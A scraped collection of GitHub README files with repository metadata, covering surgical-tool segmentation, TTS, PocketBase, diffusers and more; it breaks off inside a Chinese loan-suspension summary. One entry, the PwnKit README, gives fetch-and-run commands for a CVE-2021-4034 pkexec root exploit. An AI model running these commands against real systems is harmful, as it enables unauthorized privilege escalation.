<div align=center><img src="https://github.com/AngeLouCN/Min_Max_Similarity/blob/main/img/architecture.jpg" width="1000" height="450" alt="Result"/></div>
<p align="center"><b>Fig. 1. The architecture of Min-Max Similarity.</b></p>
**:fire: NEWS :fire:**
**The full paper is available:** [Min-Max Similarity](https://arxiv.org/abs/2203.15177)
**:fire: NEWS :fire:**
**The paper has been accepted by IEEE Transactions on Medical Imaging.** The early access is available at [Here](https://ieeexplore.ieee.org/document/10098633/keywords#keywords).
## Environment
- python==3.6
- packages:
```
conda install pytorch==1.8.0 torchvision==0.9.0 torchaudio==0.8.0 cudatoolkit=11.1 -c pytorch -c conda-forge
```
```
conda install opencv-python pillow numpy matplotlib
```
- Clone this repository
```
git clone https://github.com/AngeLouCN/Min_Max_Similarity
```
## Data Preparation
We use five dataset to test its performance:
- [Kvasir-instrument](https://datasets.simula.no/kvasir-instrument/)
- [EndoVis'17](https://endovissub2017-roboticinstrumentsegmentation.grand-challenge.org/)
- Cochlear Implant
- [RoboTool](https://www.synapse.org/#!Synapse:syn22427422)
- [ART-NET](https://github.com/kamruleee51/ART-Net)
**File structure**
```
|-- data
| |-- kvasir
| | |-- train
| | | |--image
| | | |--mask
| | |-- test
| | | |--image
| | | |--mask
| |-- EndoVis17
| | |-- train
| | | |--image
| | | |--mask
| | |-- test
| | | |--image
| | | |--mask
......
```
**You can also test on some other public medical image segmentation dataset with above file architecture**
## Usage
- **Training:**
You can change the hyper-parameters like labeled ratio, leanring rate, and e.g. in ```train_mms.py```, and directly run the code.
- **Testing:**
You can change the dataset name in ```test.py``` and run the code.
## Segmentation Performance
<div align=center><img src="https://github.com/AngeLouCN/Min_Max_Similarity/blob/main/img/seg_result.jpg" width="650" height="550" alt="Result"/></div>
<p align="center"><b>Fig. 2. Visual comparison of our method with state-of-the-art models. Segmentation results are shown for 50% of labeled training data for Kvasir-instrument, EndVisโ17, ART-NET and RoboTool, and 2.4% labeled training data for cochlear implant. From left to right are EndoVisโ17, Kvasir-instrument, ART-NET, RoboTool, Cochlear implant and region of interest (ROI) of Cochlear implant. </b></p>
## Citation
```
@article{lou2023min,
title={Min-Max Similarity: A Contrastive Semi-Supervised Deep Learning Network for Surgical Tools Segmentation},
author={Lou, Ange and Tawfik, Kareem and Yao, Xing and Liu, Ziteng and Noble, Jack},
journal={IEEE Transactions on Medical Imaging},
year={2023},
publisher={IEEE}
}
```
## Acknowledgement
Our code is based on the [Duo-SegNet](https://github.com/himashi92/Duo-SegNet), we thank their excellent work and repository.
| A contrastive learning based semi-supervised segmentation network for medical image segmentation | contrastive-learning,semi-supervised-learning,medical-image-segmentation,surgical-tools-segmentation,medical-video-analysis,video-segmentation | 0 | 1 | 0 | 62 | 4 | 1 | 0 |
ly4k/PwnKit | # PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
## Usage
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```
### Manually
```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```
### Patched
Running the exploit against patched versions will yield the following output.
### Build
```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```
## Technical Details
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
## References
- https://github.com/arthepsy/CVE-2021-4034/ | Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation | cve-2021-4034 | 0 | 2 | 1 | 10 | 5 | 1 | 0 |
nascentxyz/simple-security-toolkit | # Simple Security Toolkit
This repo is a collection of practical security-focused guides and checklists for smart contract development, assembled by the [Nascent](https://www.nascent.xyz/) team to share with our portfolio companies and others in the ecosystem who might find it useful. It is not intended to be comprehensive; it skews towards practical and opinionated recommendations that we find to be appropriate particularly for teams developing and managing early versions of a protocol.
### Contents
1. **[Development Process](https://github.com/nascentxyz/simple-security-toolkit/blob/main/development-process.md)**
One of the most crucial factors in having a secure codebase is a solid development process: "an ounce of prevention is worth a pound of cure." This document gives an example development process that we, at Nascent, have found works well. It walks through the steps from initial design and feature requests -> specification -> evaluation -> implementation -> testing -> deployment -> monitoring.
2. **[Audit Readiness Checklist](https://github.com/nascentxyz/simple-security-toolkit/blob/main/audit-readiness-checklist.md)**
Audits are expensive, time consuming, and need to be scheduled months in advance. Completing this checklist helps ensure a codebase is ready for outside review and helps catch as much low-hanging fruit as possible. This will allow the auditors to focus their time and attention on identifying deeper and more critical vulnerabilities.
3. **[Pre-Launch Security Checklist](https://github.com/nascentxyz/simple-security-toolkit/blob/main/pre-launch-security-checklist.md)**
Before deploying code to mainnet, teams should complete this checklist to make sure they have taken the necessary steps to enable reporting and responding to potential bugs or security incidents.
4. **[Incident Response Plan Template](https://github.com/nascentxyz/simple-security-toolkit/blob/main/incident-response-plan-template.md)**
No project ever expects to have a security incident. Having a plan documented in advance can help a team respond swiftly and calmly in the heat of the moment when adrenaline is running high.
### Contributing
Thanks for your interest in contributing! We are *very* opinionated as to what gets added to this repository. However, we are open to outside contributors putting forth suggestions and encourage you to do so. If you have ideas for a new document, it is likely best to open an issue before starting on a PR to gauge our support. If you have suggestions to existing documents, you can open a PR right away.
Feel free to fork this repo and make it your own. Share your ideas with your team and iterate. If you find things that may be useful to a broader set of teams, consider opening a PR!
| A collection of practical security-focused guides and checklists for smart contract development | crypto,security,security-tools,smart-contracts,solidity | 0 | 13 | 13 | 58 | 0 | 1 | 0 |
RayeRen/acad-homepage.github.io |
<h1 align="center">
AcadHomepage
</h1>
<div align="center">
[](https://github.com/RayeRen/acad-homepage.github.io)
[](https://github.com/RayeRen/acad-homepage.github.io)
[](https://github.com/RayeRen/acad-homepage.github.io)
[](https://github.com/RayeRen/acad-homepage.github.io/blob/main/LICENSE) | [ไธญๆๆๆกฃ](./docs/README-zh.md)
</div>
<p align="center">A Modern and Responsive Academic Personal Homepage</p>
<p align="center">
<br>
<img src="docs/screenshot.png" width="100%"/>
<br>
</p>
Some examples:
- [Demo Page](https://rayeren.github.io/acad-homepage.github.io/)
- [Personal Homepage of the author](https://rayeren.github.io/)
## Key Features
- **Automatically update google scholar citations**: using the google scholar crawler and github action, this REPO can update the author citations and publication citations automatically.
- **Support Google analytics**: you can trace the traffics of your homepage by easy configuration.
- **Responsive**: this homepage automatically adjust for different screen sizes and viewports.
- **Beautiful and Simple Design**: this homepage is beautiful and simple, which is very suitable for academic personal homepage.
- **SEO**: search Engine Optimization (SEO) helps search engines find the information you publish on your homepage easily, then rank it against similar websites.
## Quick Start
1. Fork this REPO and rename to `USERNAME.github.io`, where `USERNAME` is your github USERNAME.
1. Configure the google scholar citation crawler:
1. Find your google scholar ID in the url of your google scholar page (e.g., https://scholar.google.com/citations?user=SCHOLAR_ID), where `SCHOLAR_ID` is your google scholar ID.
1. Set GOOGLE_SCHOLAR_ID variable to your google scholar ID in `Settings -> Secrets -> Actions -> New repository secret` of the REPO website with `name=GOOGLE_SCHOLAR_ID` and `value=SCHOLAR_ID`.
1. Click the `Action` of the REPO website and enable the workflows by clicking *"I understand my workflows, go ahead and enable them"*. This github action will generate google scholar citation stats data `gs_data.json` in `google-scholar-stats` branch of your REPO. When you update your main branch, this action will be triggered. This action will also be trigger 08:00 UTC everyday.
1. Generate favicon using [favicon-generator](https://redketchup.io/favicon-generator) and download all generated files to `REPO/images`.
1. Modify the configuration of your homepage `_config.yml`:
1. `title`: the title of your homepage
1. `description`: the description of your homepage
1. `repository`: USER_NAME/REPO_NAME
1. `google_analytics_id` (optional): google analytics ID
1. SEO Related keys (optional): get these keys from search engine consoles (e.g. Google, Bing and Baidu) and paste here.
1. `author`: the author information of this homepage, including some other websites, emails, city and univeristy.
1. More configuration details are described in the comments.
1. Add your homepage content in `_pages/about.md`.
1. You can use html+markdown syntax just same as jekyll.
1. You can use a `<span>` tag with class `show_paper_citations` and attribute `data` to display the citations of your paper. Set the data to the google scholar paper ID. For
```html
<span class='show_paper_citations' data='DhtAFkwAAAAJ:ALROH1vI_8AC'></span>
```
> Q: How to get the google scholar paper ID?
> A: Enter your google scholar homepage and click the paper name. Then you can see the paper ID from `citation_for_view=XXXX`, where `XXXX` is the required paper ID.
1. Your page will be published at `https://USERNAME.github.io`.
## Debug Locally
1. Clone your REPO to local using `git clone`.
1. Install Jekyll building environment, including `Ruby`, `RubyGems`, `GCC` and `Make` following [the installation guide](https://jekyllrb.com/docs/installation/#requirements).
1. Run `bash run_server.sh` to start Jekyll livereload server.
1. Open http://127.0.0.1:4000 in your browser.
1. If you change the source code of the website, the livereload server will automatically refresh.
1. When you finish the modification of your homepage, `commit` your changings and `push` to your remote REPO using `git` command.
# Acknowledges
- AcadHomepage incorporates Font Awesome, which is distributed under the terms of the SIL OFL 1.1 and MIT License.
- AcadHomepage is influenced by the github repo [mmistakes/minimal-mistakes](https://github.com/mmistakes/minimal-mistakes), which is distributed under the MIT License.
- AcadHomepage is influenced by the github repo [academicpages/academicpages.github.io](https://github.com/academicpages/academicpages.github.io), which is distributed under the MIT License.
| AcadHomepage: A Modern and Responsive Academic Personal Homepage | null | 0 | 1 | 42 | 41 | 17 | 2 | 1 |
MycroftAI/mimic3 | # Mimic 3
A fast and local neural text to speech system developed by [Mycroft](https://mycroft.ai/) for the [Mark II](https://mycroft.ai/product/mark-ii/).
* [Available voices](https://github.com/MycroftAI/mimic3-voices)
* [Documentation](https://mycroft-ai.gitbook.io/docs/mycroft-technologies/mimic-tts/coming-soon-mimic-3)
* [How does it work?](https://mycroft-ai.gitbook.io/docs/mycroft-technologies/mimic-tts/coming-soon-mimic-3#how-it-works)
## Quickstart
### Mycroft TTS Plugin
``` sh
# Install system packages
sudo apt-get install libespeak-ng1
# Ensure that you're using the latest pip
mycroft-pip install --upgrade pip
# Install plugin
mycroft-pip install mycroft-plugin-tts-mimic3[all]
# Activate plugin
mycroft-config set tts.module mimic3_tts_plug
# Start mycroft
mycroft-start all
```
See [documentation](https://mycroft-ai.gitbook.io/docs/mycroft-technologies/mimic-tts/coming-soon-mimic-3#tts-plugin-for-mycroft-ai) for more details.
### Web Server
``` sh
mkdir -p "${HOME}/.local/share/mycroft/mimic3"
chmod a+rwx "${HOME}/.local/share/mycroft/mimic3"
docker run \
-it \
-p 59125:59125 \
-v "${HOME}/.local/share/mycroft/mimic3:/home/mimic3/.local/share/mycroft/mimic3" \
'mycroftai/mimic3'
```
Visit [http://localhost:59125](http://localhost:59125) or from another terminal:
``` sh
curl -X POST --data 'Hello world.' --output - localhost:59125/api/tts | aplay
```
See [documentation](https://mycroft-ai.gitbook.io/docs/mycroft-technologies/mimic-tts/coming-soon-mimic-3#web-server) for more details.
### Command-Line Tool
``` sh
# Install system packages
sudo apt-get install libespeak-ng1
# Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
pip3 install --upgrade pip
pip3 install mycroft-mimic3-tts[all]
```
Now you can run:
``` sh
mimic3 'Hello world.' | aplay
```
Use `mimic3-server` and `mimic3 --remote ...` for repeated usage (much faster).
See [documentation](https://mycroft-ai.gitbook.io/docs/mycroft-technologies/mimic-tts/coming-soon-mimic-3#command-line-interface) for more details.
---
## License
Mimic 3 is available under the [AGPL v3 license](LICENSE)
| A fast local neural text to speech engine for Mycroft | null | 3 | 10 | 9 | 248 | 39 | 1 | 0 |
pocketbase/pocketbase | <p align="center">
<a href="https://pocketbase.io" target="_blank" rel="noopener">
<img src="https://i.imgur.com/5qimnm5.png" alt="PocketBase - open source backend in 1 file" />
</a>
</p>
<p align="center">
<a href="https://github.com/pocketbase/pocketbase/actions/workflows/release.yaml" target="_blank" rel="noopener"><img src="https://github.com/pocketbase/pocketbase/actions/workflows/release.yaml/badge.svg" alt="build" /></a>
<a href="https://github.com/pocketbase/pocketbase/releases" target="_blank" rel="noopener"><img src="https://img.shields.io/github/release/pocketbase/pocketbase.svg" alt="Latest releases" /></a>
<a href="https://pkg.go.dev/github.com/pocketbase/pocketbase" target="_blank" rel="noopener"><img src="https://godoc.org/github.com/pocketbase/pocketbase?status.svg" alt="Go package documentation" /></a>
</p>
[PocketBase](https://pocketbase.io) is an open source Go backend, consisting of:
- embedded database (_SQLite_) with **realtime subscriptions**
- built-in **files and users management**
- convenient **Admin dashboard UI**
- and simple **REST-ish API**
**For documentation and examples, please visit https://pocketbase.io/docs.**
> [!WARNING]
> Please keep in mind that PocketBase is still under active development
> and therefore full backward compatibility is not guaranteed before reaching v1.0.0.
## API SDK clients
The easiest way to interact with the API is to use one of the official SDK clients:
- **JavaScript - [pocketbase/js-sdk](https://github.com/pocketbase/js-sdk)** (_browser and node_)
- **Dart - [pocketbase/dart-sdk](https://github.com/pocketbase/dart-sdk)** (_web, mobile, desktop_)
## Overview
### Use as standalone app
You could download the prebuilt executable for your platform from the [Releases page](https://github.com/pocketbase/pocketbase/releases).
Once downloaded, extract the archive and run `./pocketbase serve` in the extracted directory.
The prebuilt executables are based on the [`examples/base/main.go` file](https://github.com/pocketbase/pocketbase/blob/master/examples/base/main.go) and comes with the JS VM plugin enabled by default which allows to extend PocketBase with JavaScript (_for more details please refer to [Extend with JavaScript](https://pocketbase.io/docs/js-overview/)_).
### Use as a Go framework/toolkit
PocketBase is distributed as a regular Go library package which allows you to build
your own custom app specific business logic and still have a single portable executable at the end.
Here is a minimal example:
0. [Install Go 1.21+](https://go.dev/doc/install) (_if you haven't already_)
1. Create a new project directory with the following `main.go` file inside it:
```go
package main
import (
"log"
"net/http"
"github.com/labstack/echo/v5"
"github.com/pocketbase/pocketbase"
"github.com/pocketbase/pocketbase/apis"
"github.com/pocketbase/pocketbase/core"
)
func main() {
app := pocketbase.New()
app.OnBeforeServe().Add(func(e *core.ServeEvent) error {
// add new "GET /hello" route to the app router (echo)
e.Router.AddRoute(echo.Route{
Method: http.MethodGet,
Path: "/hello",
Handler: func(c echo.Context) error {
return c.String(200, "Hello world!")
},
Middlewares: []echo.MiddlewareFunc{
apis.ActivityLogger(app),
},
})
return nil
})
if err := app.Start(); err != nil {
log.Fatal(err)
}
}
```
2. To init the dependencies, run `go mod init myapp && go mod tidy`.
3. To start the application, run `go run main.go serve`.
4. To build a statically linked executable, you can run `CGO_ENABLED=0 go build` and then start the created executable with `./myapp serve`.
> [!NOTE]
> PocketBase embeds SQLite, but doesn't require CGO.
>
> If CGO is enabled (aka. `CGO_ENABLED=1`), it will use [mattn/go-sqlite3](https://pkg.go.dev/github.com/mattn/go-sqlite3) driver, otherwise - [modernc.org/sqlite](https://pkg.go.dev/modernc.org/sqlite).
> Enable CGO only if you really need to squeeze the read/write query performance at the expense of complicating cross compilation.
_For more details please refer to [Extend with Go](https://pocketbase.io/docs/go-overview/)._
### Building and running the repo main.go example
To build the minimal standalone executable, like the prebuilt ones in the releases page, you can simply run `go build` inside the `examples/base` directory:
0. [Install Go 1.21+](https://go.dev/doc/install) (_if you haven't already_)
1. Clone/download the repo
2. Navigate to `examples/base`
3. Run `GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build`
(_https://go.dev/doc/install/source#environment_)
4. Start the created executable by running `./base serve`.
Note that the supported build targets by the pure Go SQLite driver at the moment are:
```
darwin amd64
darwin arm64
freebsd amd64
freebsd arm64
linux 386
linux amd64
linux arm
linux arm64
linux ppc64le
linux riscv64
linux s390x
windows amd64
windows arm64
```
### Testing
PocketBase comes with mixed bag of unit and integration tests.
To run them, use the standard `go test` command:
```sh
go test ./...
```
Check also the [Testing guide](http://pocketbase.io/docs/testing) to learn how to write your own custom application tests.
## Security
If you discover a security vulnerability within PocketBase, please send an e-mail to **support at pocketbase.io**.
All reports will be promptly addressed, and you'll be credited accordingly.
## Contributing
PocketBase is free and open source project licensed under the [MIT License](LICENSE.md).
You are free to do whatever you want with it, even offering it as a paid service.
You could help continuing its development by:
- [Contribute to the source code](CONTRIBUTING.md)
- [Suggest new features and report issues](https://github.com/pocketbase/pocketbase/issues)
PRs for new OAuth2 providers, bug fixes, code optimizations and documentation improvements are more than welcome.
But please refrain creating PRs for _new features_ without previously discussing the implementation details.
PocketBase has a [roadmap](https://github.com/orgs/pocketbase/projects/2) and I try to work on issues in specific order and such PRs often come in out of nowhere and skew all initial planning with tedious back-and-forth communication.
Don't get upset if I close your PR, even if it is well executed and tested. This doesn't mean that it will never be merged.
Later we can always refer to it and/or take pieces of your implementation when the time comes to work on the issue (don't worry you'll be credited in the release notes).
| Open Source realtime backend in 1 file | authentication,backend,realtime,golang | 138 | 48 | 199 | 1,397 | 40 | 3 | 1 |
t3-oss/create-t3-app | ./cli/README.md | The best way to start a full-stack, typesafe Next.js app | cli,next-auth,nextjs,npx,tailwindcss,trpc,typescript,prisma,t3,t3-stack | 128 | 334 | 1,276 | 1,288 | 42 | 8 | 7 |
huggingface/diffusers | <!---
Copyright 2022 - The HuggingFace Team. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<p align="center">
<br>
<img src="https://raw.githubusercontent.com/huggingface/diffusers/main/docs/source/en/imgs/diffusers_library.jpg" width="400"/>
<br>
<p>
<p align="center">
<a href="https://github.com/huggingface/diffusers/blob/main/LICENSE"><img alt="GitHub" src="https://img.shields.io/github/license/huggingface/datasets.svg?color=blue"></a>
<a href="https://github.com/huggingface/diffusers/releases"><img alt="GitHub release" src="https://img.shields.io/github/release/huggingface/diffusers.svg"></a>
<a href="https://pepy.tech/project/diffusers"><img alt="GitHub release" src="https://static.pepy.tech/badge/diffusers/month"></a>
<a href="CODE_OF_CONDUCT.md"><img alt="Contributor Covenant" src="https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg"></a>
<a href="https://twitter.com/diffuserslib"><img alt="X account" src="https://img.shields.io/twitter/url/https/twitter.com/diffuserslib.svg?style=social&label=Follow%20%40diffuserslib"></a>
</p>
๐ค Diffusers is the go-to library for state-of-the-art pretrained diffusion models for generating images, audio, and even 3D structures of molecules. Whether you're looking for a simple inference solution or training your own diffusion models, ๐ค Diffusers is a modular toolbox that supports both. Our library is designed with a focus on [usability over performance](https://huggingface.co/docs/diffusers/conceptual/philosophy#usability-over-performance), [simple over easy](https://huggingface.co/docs/diffusers/conceptual/philosophy#simple-over-easy), and [customizability over abstractions](https://huggingface.co/docs/diffusers/conceptual/philosophy#tweakable-contributorfriendly-over-abstraction).
๐ค Diffusers offers three core components:
- State-of-the-art [diffusion pipelines](https://huggingface.co/docs/diffusers/api/pipelines/overview) that can be run in inference with just a few lines of code.
- Interchangeable noise [schedulers](https://huggingface.co/docs/diffusers/api/schedulers/overview) for different diffusion speeds and output quality.
- Pretrained [models](https://huggingface.co/docs/diffusers/api/models/overview) that can be used as building blocks, and combined with schedulers, for creating your own end-to-end diffusion systems.
## Installation
We recommend installing ๐ค Diffusers in a virtual environment from PyPI or Conda. For more details about installing [PyTorch](https://pytorch.org/get-started/locally/) and [Flax](https://flax.readthedocs.io/en/latest/#installation), please refer to their official documentation.
### PyTorch
With `pip` (official package):
```bash
pip install --upgrade diffusers[torch]
```
With `conda` (maintained by the community):
```sh
conda install -c conda-forge diffusers
```
### Flax
With `pip` (official package):
```bash
pip install --upgrade diffusers[flax]
```
### Apple Silicon (M1/M2) support
Please refer to the [How to use Stable Diffusion in Apple Silicon](https://huggingface.co/docs/diffusers/optimization/mps) guide.
## Quickstart
Generating outputs is super easy with ๐ค Diffusers. To generate an image from text, use the `from_pretrained` method to load any pretrained diffusion model (browse the [Hub](https://huggingface.co/models?library=diffusers&sort=downloads) for 25.000+ checkpoints):
```python
from diffusers import DiffusionPipeline
import torch
pipeline = DiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5", torch_dtype=torch.float16)
pipeline.to("cuda")
pipeline("An image of a squirrel in Picasso style").images[0]
```
You can also dig into the models and schedulers toolbox to build your own diffusion system:
```python
from diffusers import DDPMScheduler, UNet2DModel
from PIL import Image
import torch
scheduler = DDPMScheduler.from_pretrained("google/ddpm-cat-256")
model = UNet2DModel.from_pretrained("google/ddpm-cat-256").to("cuda")
scheduler.set_timesteps(50)
sample_size = model.config.sample_size
noise = torch.randn((1, 3, sample_size, sample_size), device="cuda")
input = noise
for t in scheduler.timesteps:
with torch.no_grad():
noisy_residual = model(input, t).sample
prev_noisy_sample = scheduler.step(noisy_residual, t, input).prev_sample
input = prev_noisy_sample
image = (input / 2 + 0.5).clamp(0, 1)
image = image.cpu().permute(0, 2, 3, 1).numpy()[0]
image = Image.fromarray((image * 255).round().astype("uint8"))
image
```
Check out the [Quickstart](https://huggingface.co/docs/diffusers/quicktour) to launch your diffusion journey today!
## How to navigate the documentation
| **Documentation** | **What can I learn?** |
|---------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [Tutorial](https://huggingface.co/docs/diffusers/tutorials/tutorial_overview) | A basic crash course for learning how to use the library's most important features like using models and schedulers to build your own diffusion system, and training your own diffusion model. |
| [Loading](https://huggingface.co/docs/diffusers/using-diffusers/loading_overview) | Guides for how to load and configure all the components (pipelines, models, and schedulers) of the library, as well as how to use different schedulers. |
| [Pipelines for inference](https://huggingface.co/docs/diffusers/using-diffusers/pipeline_overview) | Guides for how to use pipelines for different inference tasks, batched generation, controlling generated outputs and randomness, and how to contribute a pipeline to the library. |
| [Optimization](https://huggingface.co/docs/diffusers/optimization/opt_overview) | Guides for how to optimize your diffusion model to run faster and consume less memory. |
| [Training](https://huggingface.co/docs/diffusers/training/overview) | Guides for how to train a diffusion model for different tasks with different training techniques. |
## Contribution
We โค๏ธ contributions from the open-source community!
If you want to contribute to this library, please check out our [Contribution guide](https://github.com/huggingface/diffusers/blob/main/CONTRIBUTING.md).
You can look out for [issues](https://github.com/huggingface/diffusers/issues) you'd like to tackle to contribute to the library.
- See [Good first issues](https://github.com/huggingface/diffusers/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) for general opportunities to contribute
- See [New model/pipeline](https://github.com/huggingface/diffusers/issues?q=is%3Aopen+is%3Aissue+label%3A%22New+pipeline%2Fmodel%22) to contribute exciting new diffusion models / diffusion pipelines
- See [New scheduler](https://github.com/huggingface/diffusers/issues?q=is%3Aopen+is%3Aissue+label%3A%22New+scheduler%22)
Also, say ๐ in our public Discord channel <a href="https://discord.gg/G7tWnz98XR"><img alt="Join us on Discord" src="https://img.shields.io/discord/823813159592001537?color=5865F2&logo=discord&logoColor=white"></a>. We discuss the hottest trends about diffusion models, help each other with contributions, personal projects or just hang out โ.
## Popular Tasks & Pipelines
<table>
<tr>
<th>Task</th>
<th>Pipeline</th>
<th>๐ค Hub</th>
</tr>
<tr style="border-top: 2px solid black">
<td>Unconditional Image Generation</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/ddpm"> DDPM </a></td>
<td><a href="https://huggingface.co/google/ddpm-ema-church-256"> google/ddpm-ema-church-256 </a></td>
</tr>
<tr style="border-top: 2px solid black">
<td>Text-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/text2img">Stable Diffusion Text-to-Image</a></td>
<td><a href="https://huggingface.co/runwayml/stable-diffusion-v1-5"> runwayml/stable-diffusion-v1-5 </a></td>
</tr>
<tr>
<td>Text-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/unclip">unCLIP</a></td>
<td><a href="https://huggingface.co/kakaobrain/karlo-v1-alpha"> kakaobrain/karlo-v1-alpha </a></td>
</tr>
<tr>
<td>Text-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/deepfloyd_if">DeepFloyd IF</a></td>
<td><a href="https://huggingface.co/DeepFloyd/IF-I-XL-v1.0"> DeepFloyd/IF-I-XL-v1.0 </a></td>
</tr>
<tr>
<td>Text-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/kandinsky">Kandinsky</a></td>
<td><a href="https://huggingface.co/kandinsky-community/kandinsky-2-2-decoder"> kandinsky-community/kandinsky-2-2-decoder </a></td>
</tr>
<tr style="border-top: 2px solid black">
<td>Text-guided Image-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/controlnet">ControlNet</a></td>
<td><a href="https://huggingface.co/lllyasviel/sd-controlnet-canny"> lllyasviel/sd-controlnet-canny </a></td>
</tr>
<tr>
<td>Text-guided Image-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/pix2pix">InstructPix2Pix</a></td>
<td><a href="https://huggingface.co/timbrooks/instruct-pix2pix"> timbrooks/instruct-pix2pix </a></td>
</tr>
<tr>
<td>Text-guided Image-to-Image</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/img2img">Stable Diffusion Image-to-Image</a></td>
<td><a href="https://huggingface.co/runwayml/stable-diffusion-v1-5"> runwayml/stable-diffusion-v1-5 </a></td>
</tr>
<tr style="border-top: 2px solid black">
<td>Text-guided Image Inpainting</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/inpaint">Stable Diffusion Inpainting</a></td>
<td><a href="https://huggingface.co/runwayml/stable-diffusion-inpainting"> runwayml/stable-diffusion-inpainting </a></td>
</tr>
<tr style="border-top: 2px solid black">
<td>Image Variation</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/image_variation">Stable Diffusion Image Variation</a></td>
<td><a href="https://huggingface.co/lambdalabs/sd-image-variations-diffusers"> lambdalabs/sd-image-variations-diffusers </a></td>
</tr>
<tr style="border-top: 2px solid black">
<td>Super Resolution</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/upscale">Stable Diffusion Upscale</a></td>
<td><a href="https://huggingface.co/stabilityai/stable-diffusion-x4-upscaler"> stabilityai/stable-diffusion-x4-upscaler </a></td>
</tr>
<tr>
<td>Super Resolution</td>
<td><a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/latent_upscale">Stable Diffusion Latent Upscale</a></td>
<td><a href="https://huggingface.co/stabilityai/sd-x2-latent-upscaler"> stabilityai/sd-x2-latent-upscaler </a></td>
</tr>
</table>
## Popular libraries using ๐งจ Diffusers
- https://github.com/microsoft/TaskMatrix
- https://github.com/invoke-ai/InvokeAI
- https://github.com/apple/ml-stable-diffusion
- https://github.com/Sanster/lama-cleaner
- https://github.com/IDEA-Research/Grounded-Segment-Anything
- https://github.com/ashawkey/stable-dreamfusion
- https://github.com/deep-floyd/IF
- https://github.com/bentoml/BentoML
- https://github.com/bmaltais/kohya_ss
- +11.000 other amazing GitHub repositories ๐ช
Thank you for using us โค๏ธ.
## Credits
This library concretizes previous work by many different authors and would not have been possible without their great research and implementations. We'd like to thank, in particular, the following implementations which have helped us in our development and without which the API could not have been as polished today:
- @CompVis' latent diffusion models library, available [here](https://github.com/CompVis/latent-diffusion)
- @hojonathanho original DDPM implementation, available [here](https://github.com/hojonathanho/diffusion) as well as the extremely useful translation into PyTorch by @pesser, available [here](https://github.com/pesser/pytorch_diffusion)
- @ermongroup's DDIM implementation, available [here](https://github.com/ermongroup/ddim)
- @yang-song's Score-VE and Score-VP implementations, available [here](https://github.com/yang-song/score_sde_pytorch)
We also want to thank @heejkoo for the very helpful overview of papers, code and resources on diffusion models, available [here](https://github.com/heejkoo/Awesome-Diffusion-Models) as well as @crowsonkb and @rromb for useful discussions and insights.
## Citation
```bibtex
@misc{von-platen-etal-2022-diffusers,
author = {Patrick von Platen and Suraj Patil and Anton Lozhkov and Pedro Cuenca and Nathan Lambert and Kashif Rasul and Mishig Davaadorj and Dhruv Nair and Sayak Paul and William Berman and Yiyi Xu and Steven Liu and Thomas Wolf},
title = {Diffusers: State-of-the-art diffusion models},
year = {2022},
publisher = {GitHub},
journal = {GitHub repository},
howpublished = {\url{https://github.com/huggingface/diffusers}}
}
```
| ๐ค Diffusers: State-of-the-art diffusion models for image and audio generation in PyTorch and FLAX. | deep-learning,diffusion,image-generation,pytorch,score-based-generative-modeling,image2image,text2image,stable-diffusion,stable-diffusion-diffusers,hacktoberfest | 72 | 857 | 4,369 | 4,246 | 395 | 360 | 24 |
WeNeedHome/SummaryOfLoanSuspension | # ๅ
จๅฝๅ็ๅธ็ๅฐพๆฅผๅ่ดทๆญไพ้็ฅๆฑๆป
## ๆฐๆฎๆฅๆบ็ป่ฎกไปฅๅๅ่ตทไบบ๏ผ ๅทฒ่ขซๅฐ็ฆ
*้ไธไธ็ฒพ็กฎๆฐๆฎ๏ผไป
ไพๅ่๏ผไธๆฐๆฎๆจก็ณๅๆ*
*ๆฐๆฎๅผๆพ่ฝฌ่ฝฝๅผ็จ๏ผไฝ่ฏทๆณจๆๅบๅค๏ผ้ๅธธๆ่ฐข๏ผ*
*่ฟ้ไธๅไปปไฝ้ๆฐๆฎๆง่ดจ็ญๅ
ถไปไธ็ณปๅ่ฎจ่ฎบ๏ผๅชๆฏ็ป่ฎกไธไธชๆฐๆฎ๏ผๆ้ๅฐฑ็บ ๆน๏ผๆ ๅ
ถไปไปปไฝๅซไน๏ผๅซ็่ฏทๅฟๅค่จ๏ผ็ฆๆญขๆฟๆฒปๆๆ่ฏ้ข๏ผ*
*่ฆ็ธไฟกๅ
๏ผ็ธไฟกๆฟๅบใๅ
